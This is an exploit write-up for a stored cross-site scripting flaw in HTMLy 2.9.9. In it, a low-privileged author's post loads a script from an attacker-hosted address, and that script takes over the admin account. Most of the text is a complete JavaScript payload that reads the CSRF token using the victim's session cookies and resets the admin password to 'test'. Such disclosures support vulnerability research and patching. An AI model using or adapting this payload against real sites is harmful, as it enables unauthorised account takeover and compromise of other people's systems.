Headline
HTMLy 2.9.9 Cross Site Scripting
HTMLy version 2.9.9 suffers from a persistent cross site scripting vulnerability that can lead to account takeover.
# Exploit Title: Stored XSS to Account Takeover - htmlyv2.9.9# Date: 9/2024# Exploit Author: Andrey Stoykov# Version: 2.9.9# Tested on: Ubuntu 22.04# Blog:https://msecureltd.blogspot.com/2024/08/friday-fun-pentest-series-9-stored-xss.htmlDescription:- It was found that the application suffers from stored XSS- Low level user having an "author" role can takeover admin account andchange their password via posting a malicious post with a reference to apayload hosted on attacker domainStored XSS to Account Takeover #1:Steps to Reproduce:1. Visit "My Posts" > "Add New Post" > "Regular Post"2. Enter the following payload into the "Content" referencing externallyhosted POC in Javascript: <script src="http://192.168.159.191:8000/xss.js"></script>3. Upon visiting the blog post, the admin account password would be changedto "test"4. In the XSS payload pasted below need to adjust the "passwordChangeUrl","username" and "password"// Javascript POC// Function to fetch CSRF token and perform password change (function() { // URL of the password change page const passwordChangePageUrl = 'http://192.168.159.191/htmly/edit/password'; // Function to fetch the CSRF token function fetchCsrfToken() { fetch(passwordChangePageUrl, { method: 'GET', credentials: 'include' // Include cookies for the currentsession }) .then(response => response.text()) .then(html => { // Parse the HTML to find the CSRF token const parser = new DOMParser(); const doc = parser.parseFromString(html, 'text/html'); const csrfTokenInput =doc.querySelector('input[name="csrf_token"]'); if (csrfTokenInput) { const csrfToken = csrfTokenInput.value; console.log('CSRF Token:', csrfToken); changePassword(csrfToken); } else { console.error('CSRF token not found'); } }) .catch(error => console.error('Error fetching CSRF token:',error)); } // Function to change the password function changePassword(csrfToken) { const postData = new URLSearchParams(); postData.append('csrf_token', csrfToken); postData.append('username', 'admin'); postData.append('password', 'test'); fetch(passwordChangePageUrl, { method: 'POST', body: postData, headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, credentials: 'include' // Include cookies for the currentsession }) .then(response => response.text()) .then(data => { console.log('Password change response:', data); }) .catch(error => console.error('Error changing password:',error)); } // Trigger the CSRF token fetch and password change fetchCsrfToken(); })();